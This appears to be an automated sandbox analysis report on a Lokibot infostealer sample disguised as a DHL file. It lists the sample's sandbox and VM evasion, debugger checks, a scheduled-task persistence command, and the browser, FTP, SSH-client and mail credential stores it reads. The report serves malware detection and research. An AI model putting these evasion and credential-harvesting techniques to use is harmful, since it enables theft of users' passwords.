Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM_3
Source: Yara match File source: 00000000.00000002.233842339.0000000003379000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: DHL FILE 267382.exe PID: 6600, type: MEMORY
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\DHL FILE 267382.exe TID: 6604 Thread sleep time: -41500s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe TID: 6620 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe TID: 6712 Thread sleep time: -120000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 3_2_00403D74
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: VMware
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: vmware
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: l%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: VMWARE
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: VMware
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: DHL FILE 267382.exe, 00000000.00000002.234228731.00000000035E8000.00000004.00000001.sdmp Binary or memory string: l"SOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process queried: DebugPort Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_0040317B mov eax, dword ptr fs:[00000030h] 3_2_0040317B
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00402B7C GetProcessHeap,RtlAllocateHeap, 3_2_00402B7C
Enables debug privileges
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\wmiRSwSoPk' /XML 'C:\Users\user\AppData\Local\Temp\tmp4DA9.tmp' Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process created: C:\Users\user\Desktop\DHL FILE 267382.exe {path} Jump to behavior

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Queries volume information: C:\Users\user\Desktop\DHL FILE 267382.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00406069 GetUserNameW, 3_2_00406069
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Lokibot
Source: Yara match File source: 00000000.00000002.234483040.00000000044EF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.233783014.0000000003321000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: DHL FILE 267382.exe PID: 6600, type: MEMORY
Source: Yara match File source: Process Memory Space: DHL FILE 267382.exe PID: 6708, type: MEMORY
Source: Yara match File source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.DHL FILE 267382.exe.400000.0.raw.unpack, type: UNPACKEDPE
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Tries to steal Mail credentials (via file registry)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: PopPassword 3_2_0040D069
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: SmtpPassword 3_2_0040D069